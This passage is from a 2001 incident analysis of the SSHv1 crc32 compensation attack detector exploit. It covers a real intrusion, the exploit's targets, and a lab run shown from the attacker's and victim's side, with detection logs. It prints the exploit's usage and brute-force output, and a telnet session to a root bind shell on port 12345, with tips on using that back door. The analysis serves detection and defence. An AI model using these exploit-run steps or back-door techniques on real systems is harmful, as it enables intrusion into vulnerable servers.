SSHv1版本的crc32漏洞

==========================================================
  Analysis of SSH crc32 compensation attack detector exploit
==========================================================

On October 6, 2001, intruders originating from network blocks
in the Netherlands used an exploit for the crc32 compensation attack
detector vulnerability to remotely compromise a Red Hat Linux
system on the UW network running OpenSSH 2.1.1.  This vulnerability is
described in CERT Vulnerability note VU#945216:

 http://www.kb.cert.org/vuls/id/945216

Once in the system, a series of operating system commands were
replaced with trojan horses to provide back doors for later entry
and to conceal the presence of the intruders in the system.  A second
SSH server was run on a high numbered port (39999/tcp).  The system
was then used for broad scanning (outbound from the UW network) to
identify more systems running OpenSSH 2.1.1, some of which were
then attacked manually.

Artifacts and logs were recovered from the system and analyzed.

[NOTE: This particular exploit is presumed to be independent of any
root kits or tool kits, so do not expect these same attributes to be
present on all systems attacking with an SSH crc32 exploit.]

The exploit is based on the source code for OpenSSH 2.2.0 (which
is the follow on to version 2.1.1, and patched a vulnerability in the
crc32 compensation attack detection function).  It is is actively being
used against systems running OpenSSH 2.1.1 servers which suffer from
this vulnerability, and has been successfully used against SSH.com
version 1.2.31 as well.  (Other implementations of SSH protocol 1
and versions have not been tested to date.)

The analyzed exploit lists the following targets:

 linux/x86 ssh.com 1.2.26-1.2.31 rhl
 linux/x86 openssh 1.2.3 (maybe others)
 linux/x86 openssh 2.2.0p1 (maybe others)
 freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl

While this exploit shows multiple targets, the attackers in this case
were only scanning for 22/tcp, then connecting to those systems that
respond to get the server version and explicitly looking for only
"OpenSSH_2.1.1".  These were rapid SYN scans, using a tool that
comes with the t0rn root kit.

Analysis of the compromised system revealed that 47067 addresses had
been scanned (totalling 25386 unique hosts -- it is not clear why
there is such a large overlap.)  Of the hosts scanned, 1244 vulnerable
hosts were identified, and the intruders had successfully exploited
and entered 4 hosts before the system was taken off-line on October 8.

Other reports of 22/tcp scanning have come in since October 8, and it
is believed that this exploit is circulating among IRC chat channels.

The exploit does not work against systems that use access control
restrictions (e.g., SSH.com's "AllowHosts" or "DenyHosts" settings)
or packet level filters (e.g., ipchains, iptables, ipf) which would
prevent a host from attempting to exchange public keys.  The
vulnerability requires being able to enter cryptographic key exchange
negotiation with the server to properly manipulate the stack.

Background on the vulnerability and exploit
===========================================

This vulnerability was first announced by CORE-SDI in their advisory
CORE-20010207, dated February 8, 2001:

 http://www.securityfocus.com/advisories/3088

Other advisories and bug descriptions are:

 http://xforce.iss.net/alerts/advise100.php
 http://razor.bindview.com/publish/advisories/adv_ssh1crc.html
 http://www.securityfocus.com/bugid=2347

On October 21, 2001, a thread was started by Jay Dyson on the
[email protected] email list about scans for SSH servers
originating from RIPE net blocks:

 http://www.securityfocus.com/cgi-bin/archive.pl?id=75&start=2001-10-27&end=2001-11-02&mid=221998&threads=1

Other groups have, or are working on, studies of scanning for
22/tcp around the globe.

A discussion on the [email protected] email list prompted the
following Newsbytes story about selling such an exploit for $1000:

 Hackers Put A Price Tag On New Attack Tool
 http://www.newsbytes.com/news/01/171291.html

[NOTE:  The vulnerability is in the source code for SSH protocol 1,
not for SSH on a particular hardware architecture.  Unconfirmed rumors
exist that indicate shell code for Solaris 8/SPARC SSH.com 1.2.26-31
may also exist, so ALL ARCHITECTURES should be considered potentially
vulnerable, not just Linux/i386.]

Vendor advisories, statements, and patch information
====================================================

 http://www.ssh.com/products/ssh/advisories/ssh1_crc-32.cfm
 http://openssh.org/security.html
 http://www.cisco.com/warp/public/707/SSH-multiple-pub.html

Runtime analysis of the exploit
===============================

The exploit was tested on an isolated network segment, using a network
address of 10.10.10.0/24, with attacking host using 10.10.10.10 and
victim host using 10.10.10.3.

The victim is running SSH.com's version 1.2.31 compiled on Red Hat
Linux 6.0 (Kernel 2.2.16-3 on an i586).

The attacking host was running Fred Cohen's PLAC[1] (CD-ROM bootable
Linux 2.4.5 system, employing a ram disk for the root partition.)
Files were copied onto the system using "nc" (Netcat)[2].

This configuration allows some safety in the event the exploit (which
was reviewed in a cursory fashion by "reqt" disassembly[3]) actually
has some malicious code.  The non-routable network address and
isolated subnet also prevent potential damage.

Attacker's view
===============

When run with no arguments, the exploit presents the user with usage
information:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
root@plac /bin >> ./ssh

linux/x86 sshd1 exploit by zip/TESO ([email protected]) - ripped from
openssh 2.2.0 src

greets: mray, random, big t, sh1fty, scut, dvorak
ps. this sploit already owned cia.gov :/

**please pick a type**

Usage: ./ssh host [options]
Options:
  -p port
  -b base Base address to start bruteforcing distance, by default 0x1800,
goes as high as 0x10000
  -t type
  -d           debug mode
  -o  Add this to delta_min

types:

0: linux/x86 ssh.com 1.2.26-1.2.31 rhl
1: linux/x86 openssh 1.2.3 (maybe others)
2: linux/x86 openssh 2.2.0p1 (maybe others)
3: freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[NOTE: Other versions of this exploit that are circulating have other
options listed which affect the same hosts, but support a different
back door port, in one case 3879/tcp, and require a special
environment variable be set to protect execution (See the README file
in Appendix B.) This may be a defensive mechanism against the exploit
being stolen or discovered.]

Our victim system is running SSH.com version 1.2.31 (unpatched)
on port 2222, with syslog logging directed to a separate file
("sshdx.log", excerpts shown below).

We select type 0 and attack our server on port 2222:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
root@plac /bin >> ./ssh 10.10.10.3 -p 2222 -t 0

linux/x86 sshd1 exploit by zip/TESO ([email protected]) - ripped from
openssh 2.2.0 src

greets: mray, random, big t, sh1fty, scut, dvorak
ps. this sploit already owned cia.gov :/

...........................
bruteforced distance: 0x3200
bruteforcing distance from h->partial packet buffer on stack
..............^[[A................|////////\\\\!
bruteforced h->ident buff distance: 5bfbed88

trying retloc_delta: 35
....!
found high words of possible return address: 808
trying to exploit
....
trying retloc_delta: 37
.!
found high words of possible return address: 805
trying to exploit
....
trying retloc_delta: 39
......
trying retloc_delta: 3b
......
trying retloc_delta: 3d
!
found high words of possible return address: 804
trying to exploit
....
trying retloc_delta: 3f
......
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

At this point, the exploit tool appears to "hang".  Switching to the
victim system, things have changed.

 

Victim's view
==============

Prior to the exploit, the victim system shows the standard SSH daemon
on port 22/tcp, and our vulnerable daemon on port 2222/tcp.  Both are
listening, and the standard SSH daemon has one incoming connection
(10.10.10.2:33354):

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     
tcp        0      0 10.10.10.3:2222         0.0.0.0:*               LISTEN     
tcp        0      0 10.10.10.3:22           10.10.10.2:33354        ESTABLISHED
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
raw        0      0 0.0.0.0:1               0.0.0.0:*               7          
raw        0      0 0.0.0.0:6               0.0.0.0:*               7          
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

After the above exploit had run to the point of the apparent "hang",
a new listening service port is now visible on 12345/tcp:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     
tcp        0      0 0.0.0.0:12345           0.0.0.0:*               LISTEN     
tcp        0      0 10.10.10.3:2222         10.10.10.10:32965       ESTABLISHED
tcp        0      0 10.10.10.3:2222         0.0.0.0:*               LISTEN     
tcp        0      0 10.10.10.3:22           10.10.10.2:33354        ESTABLISHED
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
raw        0      0 0.0.0.0:1               0.0.0.0:*               7          
raw        0      0 0.0.0.0:6               0.0.0.0:*               7          
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

During a second "attack", a netstat is run.  During the attack
window, the multiple brute force attack attempts are visible:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     
tcp        0      0 0.0.0.0:12345           0.0.0.0:*               LISTEN     
tcp     1252      0 10.10.10.3:2222         10.10.10.10:33076       ESTABLISHED
tcp        0      0 10.10.10.3:2222         10.10.10.10:33075       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33074       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33072       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33071       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33069       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33067       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33066       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33064       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33063       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33062       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33061       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33060       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33059       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33058       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33056       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33055       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33053       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33051       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33050       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33048       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33047       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33046       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33042       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33041       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33040       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33039       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33038       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33036       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33035       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33034       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33033       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33032       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33030       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33029       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33028       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33027       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33024       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33023       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33022       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33021       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33020       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33016       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         10.10.10.10:33014       TIME_WAIT  
tcp        0      0 10.10.10.3:2222         0.0.0.0:*               LISTEN     
tcp        0      0 10.10.10.3:22           10.10.10.2:33354        ESTABLISHED
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
raw        0      0 0.0.0.0:1               0.0.0.0:*               7          
raw        0      0 0.0.0.0:6               0.0.0.0:*               7          
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

LiSt Open Files ("lsof")[4] shows the vulnerable SSH daemon has now
opened a new listening port:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# lsof -p 9364
COMMAND  PID USER   FD   TYPE DEVICE    SIZE   NODE NAME
sshd    9364 root  cwd    DIR    3,3    1024      2 /
sshd    9364 root  rtd    DIR    3,3    1024      2 /
sshd    9364 root  txt    REG    3,3  655038 442413 /usr/local/src/ssh-1.2.31/sbin/sshd1
sshd    9364 root  mem    REG    3,3  340771  30722 /lib/ld-2.1.3.so
sshd    9364 root  mem    REG    3,3  370141  31107 /lib/libnsl-2.1.3.so
sshd    9364 root  mem    REG    3,3   66231  31103 /lib/libcrypt-2.1.3.so
sshd    9364 root  mem    REG    3,3   47008  31113 /lib/libutil-2.1.3.so
sshd    9364 root  mem    REG    3,3 4101836  31102 /lib/libc-2.1.3.so
sshd    9364 root  mem    REG    3,3  246652  31109 /lib/libnss_files-2.1.3.so
sshd    9364 root  mem    REG    3,3  252234  31111 /lib/libnss_nisplus-2.1.3.so
sshd    9364 root  mem    REG    3,3  255963  31110 /lib/libnss_nis-2.1.3.so
sshd    9364 root  mem    REG    3,3   67580  31108 /lib/libnss_dns-2.1.3.so
sshd    9364 root  mem    REG    3,3  169720  31112 /lib/libresolv-2.1.3.so
sshd    9364 root    0u   CHR    1,3           4110 /dev/null
sshd    9364 root    1u   CHR    1,3           4110 /dev/null
sshd    9364 root    2u   CHR    1,3           4110 /dev/null
sshd    9364 root    3u  inet  10202            TCP *:12345 (LISTEN)
sshd    9364 root    4u  inet  10197            TCP 10.10.10.3:2222->10.10.10.10:33190 (CLOSE_WAIT)
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

A successful exploit
====================

Now comes the fun part.  The exploit does the typical "bind a shell
to a high-numbered TCP port" trick, which also is visible in
"netstat" output (12345/tcp):

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     
tcp        0      0 10.10.10.3:12345        10.10.10.10:33077       ESTABLISHED
tcp        0      0 0.0.0.0:12345           0.0.0.0:*               LISTEN     
tcp     1252      0 10.10.10.3:2222         10.10.10.10:33076       ESTABLISHED
tcp        0      0 10.10.10.3:2222         0.0.0.0:*               LISTEN     
tcp        0      0 10.10.10.3:22           10.10.10.2:33354        ESTABLISHED
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
raw        0      0 0.0.0.0:1               0.0.0.0:*               7          
raw        0      0 0.0.0.0:6               0.0.0.0:*               7          
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

All that is necessary is for the attacker to then use "telnet" or "nc"
(Netcat) to connect to this port and start executing commands from the
shell (it is necessary to end each command line with a semi-colon --
see Appendix B), or to pipe commands from a shell script (this
automation method is common, e.g. as seen in the analysis of trin00
published in 1999 in connection with DDoS attacks using that tool.)

[NOTE: Feedback from a reviewer of this analysis indicates that if you
use "nc" to connect to the back door port, rather than "telnet", you
don't need to terminate commands to the shell with semicolons.  Nc
adds in the newline character that the shell recognizes as a command
terminator.]

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
root@plac ~ >> telnet 10.10.10.3 12345
Trying 10.10.10.3...
Connected to 10.10.10.3.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
date;
Thu Nov  1 18:04:42 PST 2001
netstat -an --inet;
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     
tcp        0      0 10.10.10.3:12345        10.10.10.10:33077       ESTABLISHED
tcp        0      0 0.0.0.0:12345           0.0.0.0:*               LISTEN     
tcp     1252      0 10.10.10.3:2222         10.10.10.10:33076       ESTABLISHED
tcp        0      0 10.10.10.3:2222         0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
raw        0      0 0.0.0.0:1               0.0.0.0:*               7          
raw        0      0 0.0.0.0:6               0.0.0.0:*               7          
exit;
Connection closed by foreign host.
root@plac ~ >>
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Once the attacker exits the shell, things on the victim system go back
to normal:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     
tcp        0      0 10.10.10.3:2222         0.0.0.0:*               LISTEN     
tcp        0      0 10.10.10.3:22           10.10.10.2:33354        ESTABLISHED
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
raw        0      0 0.0.0.0:1               0.0.0.0:*               7          
raw        0      0 0.0.0.0:6               0.0.0.0:*               7          
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

If syslog logging is enabled, the connections and brute force attempts
are quite visible (remember, this is stock SSH.com 1.2.31 on
Red Hat Linux 6.0 -- with OpenSSH you would only see the 'fatal:'
messages, the 'Connection from' will not be displayed in the default
configuration.)

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Nov  1 18:46:14 victim sshd[9510]: log: Connection from 10.10.10.10 port 33298
Nov  1 18:46:19 victim sshd[9511]: log: Connection from 10.10.10.10 port 33299
Nov  1 18:46:22 victim sshd[9512]: log: Connection from 10.10.10.10 port 33300
Nov  1 18:46:26 victim sshd[9513]: log: Connection from 10.10.10.10 port 33301
Nov  1 18:46:31 victim sshd[9515]: log: Connection from 10.10.10.10 port 33302
Nov  1 18:46:35 victim sshd[9516]: log: Connection from 10.10.10.10 port 33303
Nov  1 18:46:39 victim sshd[9517]: log: Connection from 10.10.10.10 port 33304
Nov  1 18:46:43 victim sshd[9518]: log: Connection from 10.10.10.10 port 33305
Nov  1 18:46:47 victim sshd[9518]: fatal: Local: Corrupted check bytes on input.
Nov  1 18:46:47 victim sshd[9519]: log: Connection from 10.10.10.10 port 33306
Nov  1 18:46:52 victim sshd[9519]: fatal: Connection closed by remote host.
Nov  1 18:46:53 victim sshd[9520]: log: Connection from 10.10.10.10 port 33307
Nov  1 18:46:57 victim sshd[9521]: log: Connection from 10.10.10.10 port 33308
Nov  1 18:47:01 victim sshd[9522]: log: Connection from 10.10.10.10 port 33309
Nov  1 18:47:06 victim sshd[9523]: log: Connection from 10.10.10.10 port 33310
Nov  1 18:47:10 victim sshd[9524]: log: Connection from 10.10.10.10 port 33311
Nov  1 18:47:14 victim sshd[9525]: log: Connection from 10.10.10.10 port 33312
Nov  1 18:47:19 victim sshd[9526]: log: Connection from 10.10.10.10 port 33313
Nov  1 18:47:24 victim sshd[9527]: log: Connection from 10.10.10.10 port 33314
Nov  1 18:47:24 victim sshd[9527]: fatal: Connection closed by remote host.
Nov  1 18:47:46 victim sshd[9528]: log: Connection from 10.10.10.10 port 33315
Nov  1 18:47:46 victim sshd[9529]: log: Connection from 10.10.10.10 port 33316
Nov  1 18:47:47 victim sshd[9530]: log: Connection from 10.10.10.10 port 33317
Nov  1 18:47:47 victim sshd[9531]: log: Connection from 10.10.10.10 port 33318
Nov  1 18:47:47 victim sshd[9532]: log: Connection from 10.10.10.10 port 33319
Nov  1 18:47:48 victim sshd[9533]: log: Connection from 10.10.10.10 port 33320
Nov  1 18:47:48 victim sshd[9534]: log: Connection from 10.10.10.10 port 33321
Nov  1 18:47:48 victim sshd[9535]: log: Connection from 10.10.10.10 port 33322
Nov  1 18:47:49 victim sshd[9536]: log: Connection from 10.10.10.10 port 33323
Nov  1 18:47:49 victim sshd[9537]: log: Connection from 10.10.10.10 port 33324
Nov  1 18:47:50 victim sshd[9538]: log: Connection from 10.10.10.10 port 33325
Nov  1 18:47:50 victim sshd[9539]: log: Connection from 10.10.10.10 port 33326
Nov  1 18:47:50 victim sshd[9540]: log: Connection from 10.10.10.10 port 33327
Nov  1 18:47:51 victim sshd[9541]: log: Connection from 10.10.10.10 port 33328
Nov  1 18:47:51 victim sshd[9542]: log: Connection from 10.10.10.10 port 33329
Nov  1 18:47:51 victim sshd[9543]: log: Connection from 10.10.10.10 port 33330
Nov  1 18:47:52 victim sshd[9544]: log: Connection from 10.10.10.10 port 33331
Nov  1 18:47:52 victim sshd[9545]: log: Connection from 10.10.10.10 port 33332
Nov  1 18:47:52 victim sshd[9546]: log: Connection from 10.10.10.10 port 33333
Nov  1 18:47:53 victim sshd[9547]: log: Connection from 10.10.10.10 port 33334
Nov  1 18:47:53 victim sshd[9548]: log: Connection from 10.10.10.10 port 33335
Nov  1 18:47:54 victim sshd[9549]: log: Connection from 10.10.10.10 port 33336
Nov  1 18:47:54 victim sshd[9550]: log: Connection from 10.10.10.10 port 33337
Nov  1 18:47:54 victim sshd[9551]: log: Connection from 10.10.10.10 port 33338
Nov  1 18:47:55 victim sshd[9552]: log: Connection from 10.10.10.10 port 33339
Nov  1 18:47:55 victim sshd[9553]: log: Connection from 10.10.10.10 port 33340
Nov  1 18:47:55 victim sshd[9554]: log: Connection from 10.10.10.10 port 33341
Nov  1 18:47:56 victim sshd[9555]: log: Connection from 10.10.10.10 port 33342
Nov  1 18:47:56 victim sshd[9556]: log: Connection from 10.10.10.10 port 33343
Nov  1 18:47:56 victim sshd[9555]: fatal: Local: Corrupted check bytes on input.
Nov  1 18:47:57 victim sshd[9557]: log: Connection from 10.10.10.10 port 33344
Nov  1 18:47:57 victim sshd[9558]: log: Connection from 10.10.10.10 port 33345
Nov  1 18:47:57 victim sshd[9559]: log: Connection from 10.10.10.10 port 33346
Nov  1 18:47:58 victim sshd[9560]: log: Connection from 10.10.10.10 port 33347
Nov  1 18:47:58 victim sshd[9561]: log: Connection from 10.10.10.10 port 33348
Nov  1 18:47:59 victim sshd[9562]: log: Connection from 10.10.10.10 port 33349
Nov  1 18:47:59 victim sshd[9563]: log: Connection from 10.10.10.10 port 33350
Nov  1 18:47:59 victim sshd[9564]: log: Connection from 10.10.10.10 port 33351
Nov  1 18:48:00 victim sshd[9565]: log: Connection from 10.10.10.10 port 33352
Nov  1 18:48:00 victim sshd[9566]: log: Connection from 10.10.10.10 port 33353
Nov  1 18:48:00 victim sshd[9567]: log: Connection from 10.10.10.10 port 33354
Nov  1 18:48:01 victim sshd[9568]: log: Connection from 10.10.10.10 port 33355
Nov  1 18:48:01 victim sshd[9569]: log: Connection from 10.10.10.10 port 33356
Nov  1 18:48:02 victim sshd[9570]: log: Connection from 10.10.10.10 port 33357
Nov  1 18:48:02 victim sshd[9571]: log: Connection from 10.10.10.10 port 33358
Nov  1 18:48:02 victim sshd[9572]: log: Connection from 10.10.10.10 port 33359
Nov  1 18:48:03 victim sshd[9573]: log: Connection from 10.10.10.10 port 33360
Nov  1 18:48:03 victim sshd[9574]: log: Connection from 10.10.10.10 port 33361
Nov  1 18:48:03 victim sshd[9575]: log: Connection from 10.10.10.10 port 33362
Nov  1 18:48:04 victim sshd[9576]: log: Connection from 10.10.10.10 port 33363
Nov  1 18:48:04 victim sshd[9577]: log: Connection from 10.10.10.10 port 33364
Nov  1 18:48:04 victim sshd[9578]: log: Connection from 10.10.10.10 port 33365
Nov  1 18:48:05 victim sshd[9579]: log: Connection from 10.10.10.10 port 33366
Nov  1 18:48:05 victim sshd[9580]: log: Connection from 10.10.10.10 port 33367
Nov  1 18:48:06 victim sshd[9581]: log: Connection from 10.10.10.10 port 33368
Nov  1 18:48:06 victim sshd[9582]: log: Connection from 10.10.10.10 port 33369
Nov  1 18:48:06 victim sshd[9583]: log: Connection from 10.10.10.10 port 33370
Nov  1 18:48:07 victim sshd[9584]: log: Connection from 10.10.10.10 port 33371
Nov  1 18:48:07 victim sshd[9585]: log: Connection from 10.10.10.10 port 33372
Nov  1 18:48:07 victim sshd[9586]: log: Connection from 10.10.10.10 port 33373
Nov  1 18:48:08 victim sshd[9587]: log: Connection from 10.10.10.10 port 33374
Nov  1 18:48:08 victim sshd[9586]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:08 victim sshd[9588]: log: Connection from 10.10.10.10 port 33375
Nov  1 18:48:08 victim sshd[9587]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:08 victim sshd[9589]: log: Connection from 10.10.10.10 port 33376
Nov  1 18:48:08 victim sshd[9588]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:09 victim sshd[9590]: log: Connection from 10.10.10.10 port 33377
Nov  1 18:48:09 victim sshd[9589]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:09 victim sshd[9591]: log: Connection from 10.10.10.10 port 33378
Nov  1 18:48:09 victim sshd[9590]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:09 victim sshd[9592]: log: Connection from 10.10.10.10 port 33379
Nov  1 18:48:09 victim sshd[9591]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:10 victim sshd[9592]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:10 victim sshd[9593]: log: Connection from 10.10.10.10 port 33380
Nov  1 18:48:10 victim sshd[9594]: log: Connection from 10.10.10.10 port 33381
Nov  1 18:48:10 victim sshd[9593]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:11 victim sshd[9595]: log: Connection from 10.10.10.10 port 33382
Nov  1 18:48:11 victim sshd[9594]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:11 victim sshd[9596]: log: Connection from 10.10.10.10 port 33383
Nov  1 18:48:11 victim sshd[9597]: log: Connection from 10.10.10.10 port 33384
Nov  1 18:48:11 victim sshd[9596]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:12 victim sshd[9598]: log: Connection from 10.10.10.10 port 33385
Nov  1 18:48:12 victim sshd[9597]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:12 victim sshd[9599]: log: Connection from 10.10.10.10 port 33386
Nov  1 18:48:12 victim sshd[9598]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:12 victim sshd[9600]: log: Connection from 10.10.10.10 port 33387
Nov  1 18:48:12 victim sshd[9599]: fatal: Local: crc32 compensation attack: network attack detected
Nov  1 18:48:13 victim sshd[9601]: log: Connection from 10.10.10.10 port 33388
Nov  1 18:48:13 victim sshd[9602]: log: Connection from 10.10.10.10 port 33389
Nov  1 18:48:13 victim sshd[9603]: log: Connection from 10.10.10.10 port 33390
Nov  1 18:48:14 victim sshd[9604]: log: Connection from 10.10.10.10 port 33391
Nov  1 18:48:14 victim sshd[9605]: log: Connection from 10.10.10.10 port 33392
Nov  1 18:48:15 victim sshd[9606]: log: Connection from 10.10.10.10 port 33393
Nov  1 18:48:15 victim sshd[9605]: fatal: Local: Corrupted check bytes on input.
Nov  1 18:48:15 victim sshd[9607]: log: Connection from 10.10.10.10 port 33394
Nov  1 18:48:16 victim sshd[9608]: log: Connection from 10.10.10.10 port 33395
Nov  1 18:48:16 victim sshd[9609]: log: Connection from 10.10.10.10 port 33396
Nov  1 18:48:16 victim sshd[9610]: log: Connection from 10.10.10.10 port 33397
Nov  1 18:48:17 victim sshd[9611]: log: Connection from 10.10.10.10 port 33398
Nov  1 18:48:17 victim sshd[9611]: fatal: Local: Corrupted check bytes on input.
Nov  1 18:48:17 victim sshd[9612]: log: Connection from 10.10.10.10 port 33399
Nov  1 18:48:18 victim sshd[9613]: log: Connection from 10.10.10.10 port 33400
Nov  1 18:48:18 victim sshd[9614]: log: Connection from 10.10.10.10 port 33401
Nov  1 18:58:18 victim sshd[9614]: fatal: Timeout before authentication.
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

One final point.  Note the last syslog entry.  The successful exploit
causes an authentication attempt to pause while the shell code back
door becomes active.  You can connect to the shell and do whatever you
want.  Only problem is, the original SSH daemon will timeout when the
authentication doesn't complete, and the shell will be terminated
(this is true of SSH 1.2.31, OpenSSH, and probably all ssh-1.x
versions.) This gives a window of ten minutes (at least with SSH.com
1.2.31) before the listening shell's parent dies and another exploit
attempt must be started.  (That is plenty of time to fully root the
box eight ways from Sunday, unfortunately.)

 

Network traffic
===============

Tcpdump was used to capture the two "attacks" shown above. (The tcpdump
